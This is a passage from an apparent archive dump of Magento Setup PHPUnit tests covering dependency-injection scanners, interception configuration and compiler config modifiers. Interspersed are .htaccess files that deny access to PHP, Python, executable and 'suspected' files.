'/app/code/Magento/SomeModule/etc/di.xml', $this->_testDir . '/app/etc/di/config.xml', ]; } protected function tearDown(): void { unset($this->_model); } public function testCollectEntities() { $actual = $this->_model->collectEntities($this->_testFiles); $expected = [\Magento\Framework\App\Cache\TagPlugin::class, \Magento\Store\Model\Action\Plugin::class]; $this->assertEquals($expected, $actual); } } Magento/Setup/Test/Unit/Module/Di/Code/Scanner/ServiceDataAttributesScannerTest.php000077700000002254151323623130024255 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\ServiceDataAttributesScanner; use PHPUnit\Framework\TestCase; class ServiceDataAttributesScannerTest extends TestCase { /** * @var ServiceDataAttributesScanner */ protected $model; /** * @var string */ protected $testFile; protected function setUp(): void { $this->model = new ServiceDataAttributesScanner(); $this->testFile = str_replace('\\', '/', realpath(__DIR__ . '/../../') . '/_files/extension_attributes.xml'); } public function testCollectEntities() { $files = [$this->testFile]; $expectedResult = [ \Magento\Sales\Api\Data\OrderExtensionInterface::class, \Magento\Sales\Api\Data\OrderExtension::class, \Magento\Sales\Api\Data\OrderItemExtensionInterface::class, \Magento\Sales\Api\Data\OrderItemExtension::class, ]; $this->assertSame($expectedResult, $this->model->collectEntities($files)); } } Magento/Setup/Test/Unit/Module/Di/Code/Generator/InterceptionConfigurationBuilderTest.php000077700000007216151323623130025544 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Generator; use Magento\Framework\App\Cache\Manager; use Magento\Framework\App\Interception\Cache\CompiledConfig; use Magento\Framework\Interception\Config\Config; use Magento\Framework\ObjectManager\InterceptableValidator; use Magento\Setup\Module\Di\Code\Generator\InterceptionConfigurationBuilder; use Magento\Setup\Module\Di\Code\Generator\PluginList; use Magento\Setup\Module\Di\Code\Reader\Type; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class InterceptionConfigurationBuilderTest extends TestCase { /** * @var InterceptionConfigurationBuilder */ protected $model; /** * @var MockObject */ protected $interceptionConfig; /** * @var MockObject */ protected $pluginList; /** * @var MockObject */ protected $typeReader; /** * @var MockObject */ private $cacheManager; /** * @var InterceptableValidator|MockObject */ private $interceptableValidator; protected function setUp(): void { $this->interceptionConfig = $this->createPartialMock(Config::class, ['hasPlugins']); $this->pluginList = $this->createPartialMock( PluginList::class, ['setInterceptedClasses', 'setScopePriorityScheme', 'getPluginsConfig'] ); $this->cacheManager = $this->createMock(Manager::class); $this->interceptableValidator = $this->createMock(InterceptableValidator::class); $this->typeReader = $this->createPartialMock(Type::class, ['isConcrete']); $this->model = new InterceptionConfigurationBuilder( $this->interceptionConfig, $this->pluginList, $this->typeReader, $this->cacheManager, $this->interceptableValidator ); } /** * @dataProvider getInterceptionConfigurationDataProvider */ public function testGetInterceptionConfiguration($plugins) { $definedClasses = ['Class1']; $this->interceptionConfig->expects($this->once()) ->method('hasPlugins') ->with('Class1') ->willReturn(true); $this->typeReader->expects($this->any()) ->method('isConcrete') ->willReturnMap([ ['Class1', true], ['instance', true], ]); $this->interceptableValidator->expects($this->any()) ->method('validate') ->with('Class1') ->willReturn(true); $this->cacheManager->expects($this->once()) ->method('setEnabled') ->with([CompiledConfig::TYPE_IDENTIFIER], true); $this->pluginList->expects($this->once()) ->method('setInterceptedClasses') ->with($definedClasses); $this->pluginList->expects($this->once()) ->method('setScopePriorityScheme') ->with(['global', 'areaCode']); $this->pluginList->expects($this->once()) ->method('getPluginsConfig') ->willReturn(['instance' => $plugins]); $this->model->addAreaCode('areaCode'); $this->model->getInterceptionConfiguration($definedClasses); } /** * @return array */ public function getInterceptionConfigurationDataProvider() { return [ [null], [['plugin' => ['instance' => 'someinstance']]], [['plugin' => ['instance' => 'someinstance'], 'plugin2' => ['instance' => 'someinstance']]] ]; } } Magento/Setup/Test/Unit/Module/Di/Code/Generator/.htaccess000077700000000177151323623130017266 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Code/.htaccess000077700000000177151323623130015340 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/.htaccess000077700000000177151323623130014466 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Compiler/Config/Chain/ArgumentsSerializationTest.php000077700000003523151323623130024743 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler\Config\Chain; use Magento\Framework\Serialize\SerializerInterface; use Magento\Setup\Module\Di\Compiler\Config\Chain\ArgumentsSerialization; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Unit test for the ArgumentsSerialization class. * * @deprecated We don't need anymore serialize arguments, this class will be removed in the next * backward incompatible release. */ class ArgumentsSerializationTest extends TestCase { /** * @var SerializerInterface|MockObject */ private $serializer; /** * Set up mocks. */ protected function setUp(): void { $this->serializer = $this->getMockBuilder(SerializerInterface::class) ->getMock(); $this->serializer->expects($this->any())->method('serialize')->willReturnCallback(function ($param) { return json_encode($param); }); } public function testModifyArgumentsDoNotExist() { $inputConfig = [ 'data' => [] ]; $modifier = new ArgumentsSerialization($this->serializer); $this->assertSame($inputConfig, $modifier->modify($inputConfig)); } public function testModifyArguments() { $inputConfig = [ 'arguments' => [ 'argument1' => [], 'argument2' => null, ] ]; $expected = [ 'arguments' => [ 'argument1' => json_encode([]), 'argument2' => null, ] ]; $modifier = new ArgumentsSerialization($this->serializer); $this->assertEquals($expected, $modifier->modify($inputConfig)); } } Magento/Setup/Test/Unit/Module/Di/Compiler/Config/Chain/InterceptorSubstitutionTest.php000077700000011601151323623130025167 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler\Config\Chain; use Magento\Setup\Module\Di\Compiler\Config\Chain\InterceptorSubstitution; use PHPUnit\Framework\TestCase; class InterceptorSubstitutionTest extends TestCase { public function testModifyArgumentsDoNotExist() { $inputConfig = [ 'data' => [] ]; $modifier = new InterceptorSubstitution(); $this->assertSame($inputConfig, $modifier->modify($inputConfig)); } public function testModifyArguments() { $modifier = new InterceptorSubstitution(); $this->assertEquals($this->getOutputConfig(), $modifier->modify($this->getInputConfig())); } public function testModifyPreferences() { $inputConfig = [ 'arguments' => [ 'ClassReplaced' => [], 'ClassReplacement' => [], 'ClassReplaced\Interceptor' => [], 'ClassReplacement\Interceptor' => [] ], 'preferences' => [ 'ClassReplaced' => 'ClassReplacement' ], 'instanceTypes' => [] ]; $outputConfig = [ 'arguments' => [ 'ClassReplaced\Interceptor' => [], 'ClassReplacement\Interceptor' => [] ], 'preferences' => [ 'ClassReplaced' => 'ClassReplacement\Interceptor', 'ClassReplacement' => 'ClassReplacement\Interceptor' ], 'instanceTypes' => [] ]; $modifier = new InterceptorSubstitution(); $this->assertEquals($outputConfig, $modifier->modify($inputConfig)); } /** * Input config * * @return array */ private function getInputConfig() { return [ 'arguments' => [ 'Class' => [ 'argument_type' => ['_i_' => 'Class\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\Dependency'], 'array_configured' => [ 'argument_type' => ['_i_' => 'Class\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\Dependency'], 'array' => [ 'argument_type' => ['_i_' => 'Class\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\DependencyIntercepted'], ] ] ], 'virtualType' => [ 'argument_type' => ['_i_' => 'Class\DependencyIntercepted'], 'argument_not_shared' => ['_ins_' => 'Class\Dependency'], 'array_configured' => ['banana'] ], 'Class\Interceptor' => [ 'argument_type' => ['_i_' => 'Class\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\Dependency'], 'array_configured' => [] ], 'Class\DependencyIntercepted\Interceptor' => [], 'Class\DependencyIntercepted' => [] ], 'preferences' => [ 'ClassInterface' => 'Class', ], 'instanceTypes' => [ 'virtualType' => 'Class' ] ]; } /** * Output config * * @return array */ private function getOutputConfig() { return [ 'arguments' => [ 'Class\Interceptor' => [ 'argument_type' => ['_i_' => 'Class\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\Dependency'], 'array_configured' => [ 'argument_type' => ['_i_' => 'Class\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\Dependency'], 'array' => [ 'argument_type' => ['_i_' => 'Class\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\DependencyIntercepted'], ] ] ], 'virtualType' => [ 'argument_type' => ['_i_' => 'Class\DependencyIntercepted'], 'argument_not_shared' => ['_ins_' => 'Class\Dependency'], 'array_configured' => ['banana'] ], 'Class\DependencyIntercepted\Interceptor' => [] ], 'preferences' => [ 'ClassInterface' => 'Class\Interceptor', 'Class' => 'Class\Interceptor', 'Class\DependencyIntercepted' => 'Class\DependencyIntercepted\Interceptor' ], 'instanceTypes' => [ 'virtualType' => 'Class\Interceptor', ] ]; } } Magento/Setup/Test/Unit/Module/Di/Compiler/Config/Chain/PreferencesResolvingTest.php000077700000015246151323623130024377 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler\Config\Chain; use Magento\Setup\Module\Di\Compiler\Config\Chain\PreferencesResolving; use PHPUnit\Framework\TestCase; class PreferencesResolvingTest extends TestCase { public function testEmptyConfigModify() { $inputConfig = [ 'data' => [] ]; $modification = new PreferencesResolving(); $this->assertSame($inputConfig, $modification->modify($inputConfig)); } public function testPreferencesResolvingModify() { $inputConfig = [ 'arguments' => $this->getInputArguments(), 'preferences' => $this->getPreferences() ]; $outputConfig = [ 'arguments' => $this->getOutputArguments(), 'preferences' => $this->getPreferences() ]; $modification = new PreferencesResolving(); $this->assertEquals($outputConfig, $modification->modify($inputConfig)); } /** * @return array */ private function getInputArguments() { return [ 'SimpleClass' => [ 'type_dependency' => [ '_ins_' => 'Type\DependencyInterface', ], 'type_dependency_shared' => [ '_i_' => 'Type\Dependency\SharedInterface', ], 'value' => [ '_v_' => 'value', ], 'value_array' => [ '_v_' => ['default_value1', 'default_value2'], ], 'value_null' => [ '_vn_' => true, ], 'virtual_preferece' => [ '_i_' => 'Type\DependencyInterface2' ] ], 'ComplexClass' => [ 'type_dependency_configured' => [ '_ins_' => 'Type\Dependency\ConfiguredInterface', ], 'type_dependency_shared_configured' => [ '_i_' => 'Type\Dependency\Shared\Configured', ], 'global_argument' => [ '_a_' => 'global_argument_configured', '_d_' => null ], 'global_argument_def' => [ '_a_' => 'global_argument_configured', '_d_' => [] ], 'value_configured' => [ '_v_' => 'value_configured', ], 'value_array_configured' => [ '_vac_' => [ 'array_value' => 'value', 'array_configured_instance' => [ '_i_' => 'Type\Dependency\Shared\ConfiguredInterface', ], 'array_configured_array' => [ 'array_array_value' => 'value', 'array_array_configured_instance' => [ '_ins_' => 'Type\Dependency\Shared\Configured', ], ], 'array_global_argument' => [ '_a_' => 'global_argument_configured', '_d_' => null ] ], ], 'value_null' => [ '_vn_' => true, ], ] ]; } /** * @return array */ private function getOutputArguments() { return [ 'SimpleClass' => [ 'type_dependency' => [ '_ins_' => 'Type\Dependency', ], 'type_dependency_shared' => [ '_i_' => 'Type\Dependency\Shared', ], 'value' => [ '_v_' => 'value', ], 'value_array' => [ '_v_' => ['default_value1', 'default_value2'], ], 'value_null' => [ '_vn_' => true, ], 'virtual_preferece' => [ '_i_' => 'Type\DependencyVirtual3' ] ], 'ComplexClass' => [ 'type_dependency_configured' => [ '_ins_' => 'Type\Dependency\Configured', ], 'type_dependency_shared_configured' => [ '_i_' => 'Type\Dependency\Shared\ConfiguredPreference', ], 'global_argument' => [ '_a_' => 'global_argument_configured', '_d_' => null ], 'global_argument_def' => [ '_a_' => 'global_argument_configured', '_d_' => [] ], 'value_configured' => [ '_v_' => 'value_configured', ], 'value_array_configured' => [ '_vac_' => [ 'array_value' => 'value', 'array_configured_instance' => [ '_i_' => 'Type\Dependency\Shared\ConfiguredPreference', ], 'array_configured_array' => [ 'array_array_value' => 'value', 'array_array_configured_instance' => [ '_ins_' => 'Type\Dependency\Shared\ConfiguredPreference', ], ], 'array_global_argument' => [ '_a_' => 'global_argument_configured', '_d_' => null ] ], ], 'value_null' => [ '_vn_' => true, ], ] ]; } /** * @return array */ private function getPreferences() { return [ 'Type\DependencyInterface' => 'Type\Dependency', 'Type\Dependency\SharedInterface' => 'Type\Dependency\Shared', 'Type\Dependency\ConfiguredInterface' => 'Type\Dependency\Configured', 'Type\Dependency\Shared\ConfiguredInterface' => 'Type\Dependency\Shared\ConfiguredPreference', 'Type\Dependency\Shared\Configured' => 'Type\Dependency\Shared\ConfiguredPreference', 'Type\DependencyInterface2' => 'Type\DependencyVirtual', 'Type\DependencyVirtual' => 'Type\DependencyVirtual2', 'Type\DependencyVirtual2' => 'Type\DependencyVirtual3' ]; } } Magento/Setup/Test/Unit/Module/Di/Compiler/Config/Chain/BackslashTrimTest.php000077700000004613151323623130022770 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler\Config\Chain; use Magento\Setup\Module\Di\Compiler\Config\Chain\BackslashTrim; use PHPUnit\Framework\TestCase; class BackslashTrimTest extends TestCase { public function testModifyArgumentsDoNotExist() { $inputConfig = [ 'data' => [] ]; $modifier = new BackslashTrim(); $this->assertSame($inputConfig, $modifier->modify($inputConfig)); } public function testModifyArguments() { $modifier = new BackslashTrim(); $this->assertEquals($this->getOutputConfig(), $modifier->modify($this->getInputConfig())); } /** * Input config * * @return array */ private function getInputConfig() { return [ 'arguments' => [ '\\Class' => [ 'argument_type' => ['_i_' => '\\Class\\Dependency'], 'argument_not_shared' => ['_ins_' => '\\Class\\Dependency'], 'array' => [ 'argument_type' => ['_i_' => '\\Class\\Dependency'], 'argument_not_shared' => ['_ins_' => '\\Class\\Dependency'], 'array' => [ 'argument_type' => ['_i_' => '\\Class\\Dependency'], 'argument_not_shared' => ['_ins_' => '\\Class\\Dependency'], ] ] ] ] ]; } /** * Output config * * @return array */ private function getOutputConfig() { return [ 'arguments' => [ 'Class' => [ 'argument_type' => ['_i_' => 'Class\\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\\Dependency'], 'array' => [ 'argument_type' => ['_i_' => 'Class\\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\\Dependency'], 'array' => [ 'argument_type' => ['_i_' => 'Class\\Dependency'], 'argument_not_shared' => ['_ins_' => 'Class\\Dependency'], ] ] ] ] ]; } } Magento/Setup/Test/Unit/Module/Di/Compiler/Config/Chain/.htaccess000077700000000177151323623130020467 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Compiler/Config/ReaderTest.php000077700000016125151323623130020422 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler\Config; use Magento\Framework\App\Area; use Magento\Framework\App\ObjectManager\ConfigLoader; use Magento\Framework\ObjectManager\ConfigInterface; use Magento\Setup\Module\Di\Code\Reader\ClassReaderDecorator; use Magento\Setup\Module\Di\Code\Reader\Type; use Magento\Setup\Module\Di\Compiler\ArgumentsResolver; use Magento\Setup\Module\Di\Compiler\ArgumentsResolverFactory; use Magento\Setup\Module\Di\Compiler\Config\Reader; use Magento\Setup\Module\Di\Definition\Collection; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ReaderTest extends TestCase { /** * @var Reader */ protected $model; /** * @var MockObject */ protected $diContainerConfig; /** * @var MockObject */ protected $configLoader; /** * @var MockObject */ protected $argumentsResolverFactory; /** * @var MockObject */ protected $argumentsResolver; /** * @var MockObject */ protected $classReaderDecorator; /** * @var MockObject */ protected $typeReader; protected function setUp(): void { $this->diContainerConfig = $this->getMockForAbstractClass(ConfigInterface::class); $this->configLoader = $this->createMock(ConfigLoader::class); $this->argumentsResolverFactory = $this->createMock(ArgumentsResolverFactory::class); $this->argumentsResolver = $this->createMock(ArgumentsResolver::class); $this->argumentsResolverFactory->expects($this->any()) ->method('create') ->willReturn($this->argumentsResolver); $this->classReaderDecorator = $this->createMock(ClassReaderDecorator::class); $this->typeReader = $this->createMock(Type::class); $this->model = new Reader( $this->diContainerConfig, $this->configLoader, $this->argumentsResolverFactory, $this->classReaderDecorator, $this->typeReader ); } public function testGenerateCachePerScopeGlobal() { $definitionCollection = $this->getDefinitionsCollection(); $this->diContainerConfig->expects($this->any()) ->method('getVirtualTypes') ->willReturn($this->getVirtualTypes()); $this->diContainerConfig->expects($this->any()) ->method('getPreferences') ->willReturn($this->getPreferences()); $getResolvedConstructorArgumentsMap = $this->getResolvedVirtualConstructorArgumentsMap( $definitionCollection, $this->getVirtualTypes() ); $this->diContainerConfig->expects($this->any()) ->method('getInstanceType') ->willReturnMap($this->getInstanceTypeMap($this->getVirtualTypes())); $this->diContainerConfig->expects($this->any()) ->method('getPreference') ->willReturnMap($this->getPreferencesMap()); $isConcreteMap = []; foreach ($definitionCollection->getInstancesNamesList() as $instanceType) { $isConcreteMap[] = [$instanceType, strpos($instanceType, 'Interface') === false]; $getResolvedConstructorArgumentsMap[] = [ $instanceType, $definitionCollection->getInstanceArguments($instanceType), $this->getResolvedArguments( $definitionCollection->getInstanceArguments($instanceType) ) ]; } $this->typeReader->expects($this->any()) ->method('isConcrete') ->willReturnMap($isConcreteMap); $this->argumentsResolver->expects($this->any()) ->method('getResolvedConstructorArguments') ->willReturnMap($getResolvedConstructorArgumentsMap); $this->assertEquals( $this->getExpectedGlobalConfig(), $this->model->generateCachePerScope($definitionCollection, Area::AREA_GLOBAL) ); } /** * @return array */ private function getExpectedGlobalConfig() { return [ 'arguments' => [ 'ConcreteType1' => ['resolved_argument1', 'resolved_argument2'], 'ConcreteType2' => ['resolved_argument1', 'resolved_argument2'], 'virtualType1' => ['resolved_argument1', 'resolved_argument2'] ], 'preferences' => $this->getPreferences(), 'instanceTypes' => $this->getVirtualTypes(), ]; } /** * @return Collection */ private function getDefinitionsCollection() { $definitionCollection = new Collection(); $definitionCollection->addDefinition('ConcreteType1', ['argument1', 'argument2']); $definitionCollection->addDefinition('ConcreteType2', ['argument1', 'argument2']); $definitionCollection->addDefinition('Interface1', [null]); return $definitionCollection; } /** * @return array */ private function getVirtualTypes() { return ['virtualType1' => 'ConcreteType1']; } /** * @return array */ private function getPreferences() { return [ 'Interface1' => 'ConcreteType1', 'ThirdPartyInterface' => 'ConcreteType2' ]; } /** * @return array */ private function getPreferencesMap() { return [ ['ConcreteType1', 'ConcreteType1'], ['ConcreteType2', 'ConcreteType2'], ['Interface1', 'ConcreteType1'], ['ThirdPartyInterface', 'ConcreteType2'] ]; } /** * @param array $arguments * @return array|null */ private function getResolvedArguments($arguments) { return empty($arguments) ? null : array_map( function ($argument) { return 'resolved_' . $argument; }, $arguments ); } /** * @param array $virtualTypes * @return array */ private function getInstanceTypeMap($virtualTypes) { $getInstanceTypeMap = []; foreach ($virtualTypes as $virtualType => $concreteType) { $getInstanceTypeMap[] = [$virtualType, $concreteType]; } return $getInstanceTypeMap; } /** * @param Collection $definitionCollection * @param array $virtualTypes * @return array */ private function getResolvedVirtualConstructorArgumentsMap(Collection $definitionCollection, array $virtualTypes) { $getResolvedConstructorArgumentsMap = []; foreach ($virtualTypes as $virtualType => $concreteType) { $getResolvedConstructorArgumentsMap[] = [ $virtualType, $definitionCollection->getInstanceArguments($concreteType), $this->getResolvedArguments( $definitionCollection->getInstanceArguments($concreteType) ) ]; } return $getResolvedConstructorArgumentsMap; } } Magento/Setup/Test/Unit/Module/Di/Compiler/Config/ModificationChainTest.php000077700000004350151323623130022565 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler\Config; use Magento\Setup\Module\Di\Compiler\Config\ModificationChain; use Magento\Setup\Module\Di\Compiler\Config\ModificationInterface; use PHPUnit\Framework\TestCase; class ModificationChainTest extends TestCase { public function testConstructor() { $modificationsList = []; $modificationsList[] = $this->getMockBuilder( ModificationInterface::class )->getMock(); $modificationsList[] = $this->getMockBuilder( ModificationInterface::class )->getMock(); new ModificationChain($modificationsList); } public function testConstructorException() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Wrong modifier provided'); $modificationsList = []; $modificationsList[] = $this->getMockBuilder( ModificationInterface::class )->getMock(); $modificationsList[] = $this->getMockBuilder( ModificationInterface::class )->getMock(); $modificationsList[] = 'banana'; new ModificationChain($modificationsList); } public function testModify() { $inputArray = [ 'data' => [1, 2, 3] ]; $expectedArray1 = [ 'data' => [1, 2, 3, 1] ]; $expectedArray2 = [ 'data' => [1, 2, 3, 1, 1] ]; $modifier1 = $this->getMockBuilder(ModificationInterface::class) ->getMock(); $modifier2 = $this->getMockBuilder(ModificationInterface::class) ->getMock(); $modificationsList = [$modifier1, $modifier2]; $modifier1->expects($this->once()) ->method('modify') ->with($inputArray) ->willReturn($expectedArray1); $modifier2->expects($this->once()) ->method('modify') ->with($expectedArray1) ->willReturn($expectedArray2); $chain = new ModificationChain($modificationsList); $this->assertEquals($expectedArray2, $chain->modify($inputArray)); } } Magento/Setup/Test/Unit/Module/Di/Compiler/Config/.htaccess000077700000000177151323623130017445 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Compiler/ArgumentsResolverTest.php000077700000016053151323623130021502 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler; use Magento\Framework\ObjectManager\ConfigInterface; use Magento\Setup\Module\Di\Compiler\ArgumentsResolver; use Magento\Setup\Module\Di\Compiler\ConstructorArgument; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ArgumentsResolverTest extends TestCase { /** * @var ArgumentsResolver */ protected $model; /** * @var MockObject */ protected $diContainerConfig; protected function setUp(): void { $this->diContainerConfig = $this->getMockForAbstractClass(ConfigInterface::class); $this->model = new ArgumentsResolver($this->diContainerConfig); } public function testGetResolvedArgumentsConstructorFormat() { $expectedResultDefault = $this->getResolvedSimpleConfigExpectation(); $constructor = [ new ConstructorArgument(['type_dependency', 'Type\Dependency', true, null]), new ConstructorArgument(['type_dependency_shared', 'Type\Dependency\Shared', true, null]), new ConstructorArgument(['value', null, false, 'value']), new ConstructorArgument(['value_array', null, false, ['default_value1', 'default_value2']]), new ConstructorArgument(['value_null', null, false, null]), ]; $this->diContainerConfig->expects($this->any()) ->method('isShared') ->willReturnMap( [ ['Type\Dependency', false], ['Type\Dependency\Shared', true] ] ); $type = 'Class'; $this->diContainerConfig->expects($this->any()) ->method('getArguments') ->with($type) ->willReturn([]); $this->assertSame( $expectedResultDefault, $this->model->getResolvedConstructorArguments($type, $constructor) ); } public function testGetResolvedArgumentsConstructorConfiguredFormat() { $expectedResultConfigured = $this->getResolvedConfigurableConfigExpectation(); $constructor = [ new ConstructorArgument(['type_dependency_configured', 'Type\Dependency', true, null]), new ConstructorArgument(['type_dependency_shared_configured', 'Type\Dependency\Shared', true, null]), new ConstructorArgument(['global_argument', null, false, null]), new ConstructorArgument(['global_argument_def', null, false, []]), new ConstructorArgument(['value_configured', null, false, 'value']), new ConstructorArgument(['value_array_configured', null, false, []]), new ConstructorArgument(['value_null', null, false, null]), ]; $this->diContainerConfig->expects($this->any()) ->method('isShared') ->willReturnMap( [ ['Type\Dependency', false], ['Type\Dependency\Shared', true], ['Type\Dependency\Configured', false], ['Type\Dependency\Shared\Configured', true] ] ); $type = 'Class'; $this->diContainerConfig->expects($this->any()) ->method('getArguments') ->with($type) ->willReturn( $this->getConfiguredArguments() ); $this->assertSame( $expectedResultConfigured, $this->model->getResolvedConstructorArguments($type, $constructor) ); } /** * Returns resolved simple config expectation * * @return array */ private function getResolvedSimpleConfigExpectation() { return [ 'type_dependency' => [ '_ins_' => 'Type\Dependency', ], 'type_dependency_shared' => [ '_i_' => 'Type\Dependency\Shared', ], 'value' => [ '_v_' => 'value', ], 'value_array' => [ '_v_' => ['default_value1', 'default_value2'], ], 'value_null' => [ '_vn_' => true, ], ]; } /** * Returns configured arguments expectation * * @return array */ private function getConfiguredArguments() { return [ 'type_dependency_configured' => ['instance' => 'Type\Dependency\Configured'], 'type_dependency_shared_configured' => ['instance' => 'Type\Dependency\Shared\Configured'], 'global_argument' => ['argument' => 'global_argument_configured'], 'global_argument_def' => ['argument' => 'global_argument_configured'], 'value_configured' => 'value_configured', 'value_array_configured' => [ 'array_value' => 'value', 'array_configured_instance' => ['instance' => 'Type\Dependency\Shared\Configured'], 'array_configured_array' => [ 'array_array_value' => 'value', 'array_array_configured_instance' => [ 'instance' => 'Type\Dependency\Shared\Configured', 'shared' => false ] ], 'array_global_argument' => ['argument' => 'global_argument_configured'] ], 'value_null' => null, ]; } /** * Returns resolved configurable config expectation * * @return array */ private function getResolvedConfigurableConfigExpectation() { return [ 'type_dependency_configured' => [ '_ins_' => 'Type\Dependency\Configured', ], 'type_dependency_shared_configured' => [ '_i_' => 'Type\Dependency\Shared\Configured', ], 'global_argument' => [ '_a_' => 'global_argument_configured', '_d_' => null ], 'global_argument_def' => [ '_a_' => 'global_argument_configured', '_d_' => [] ], 'value_configured' => [ '_v_' => 'value_configured', ], 'value_array_configured' => [ '_vac_' => [ 'array_value' => 'value', 'array_configured_instance' => [ '_i_' => 'Type\Dependency\Shared\Configured', ], 'array_configured_array' => [ 'array_array_value' => 'value', 'array_array_configured_instance' => [ '_ins_' => 'Type\Dependency\Shared\Configured', ], ], 'array_global_argument' => [ '_a_' => 'global_argument_configured', '_d_' => null ] ], ], 'value_null' => [ '_vn_' => true, ], ]; } } Magento/Setup/Test/Unit/Module/Di/Compiler/ConstructorArgumentTest.php000077700000001314151323623130022035 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Compiler; use Magento\Setup\Module\Di\Compiler\ConstructorArgument; use PHPUnit\Framework\TestCase; class ConstructorArgumentTest extends TestCase { public function testInterface() { $argument = ['configuration', 'array', true, null]; $model = new ConstructorArgument($argument); $this->assertEquals($argument[0], $model->getName()); $this->assertEquals($argument[1], $model->getType()); $this->assertTrue($model->isRequired()); $this->assertNull($model->getDefaultValue()); } } Magento/Setup/Test/Unit/Module/Di/Compiler/.htaccess000077700000000177151323623130016240 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/SetupTest.php000077700000005161151323623130015003 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module; use Magento\Framework\App\ResourceConnection; use Magento\Framework\DB\Adapter\AdapterInterface; use Magento\Setup\Module\Setup; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class SetupTest extends TestCase { const CONNECTION_NAME = 'connection'; /** * @var AdapterInterface|MockObject */ private $connection; /** * @var Setup */ private $setup; /** * @var ResourceConnection|MockObject */ private $resourceModelMock; protected function setUp(): void { $this->resourceModelMock = $this->createMock(ResourceConnection::class); $this->connection = $this->getMockForAbstractClass(AdapterInterface::class); $this->resourceModelMock->expects($this->any()) ->method('getConnection') ->with(self::CONNECTION_NAME) ->willReturn($this->connection); $this->resourceModelMock->expects($this->any()) ->method('getConnectionByName') ->with(ResourceConnection::DEFAULT_CONNECTION) ->willReturn($this->connection); $this->setup = new Setup($this->resourceModelMock, self::CONNECTION_NAME); } public function testGetIdxName() { $tableName = 'table'; $fields = ['field']; $indexType = 'index_type'; $expectedIdxName = 'idxName'; $this->resourceModelMock->expects($this->once()) ->method('getTableName') ->with($tableName) ->willReturn($tableName); $this->connection->expects($this->once()) ->method('getIndexName') ->with($tableName, $fields, $indexType) ->willReturn($expectedIdxName); $this->assertEquals('idxName', $this->setup->getIdxName($tableName, $fields, $indexType)); } public function testGetFkName() { $tableName = 'table'; $refTable = 'ref_table'; $columnName = 'columnName'; $refColumnName = 'refColumnName'; $this->resourceModelMock->expects($this->once()) ->method('getTableName') ->with($tableName) ->willReturn($tableName); $this->connection->expects($this->once()) ->method('getForeignKeyName') ->with($tableName, $columnName, $refTable, $refColumnName) ->willReturn('fkName'); $this->assertEquals('fkName', $this->setup->getFkName($tableName, $columnName, $refTable, $refColumnName)); } } Magento/Setup/Test/Unit/Module/DataSetupFactoryTest.php000077700000003376151323623130017133 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See 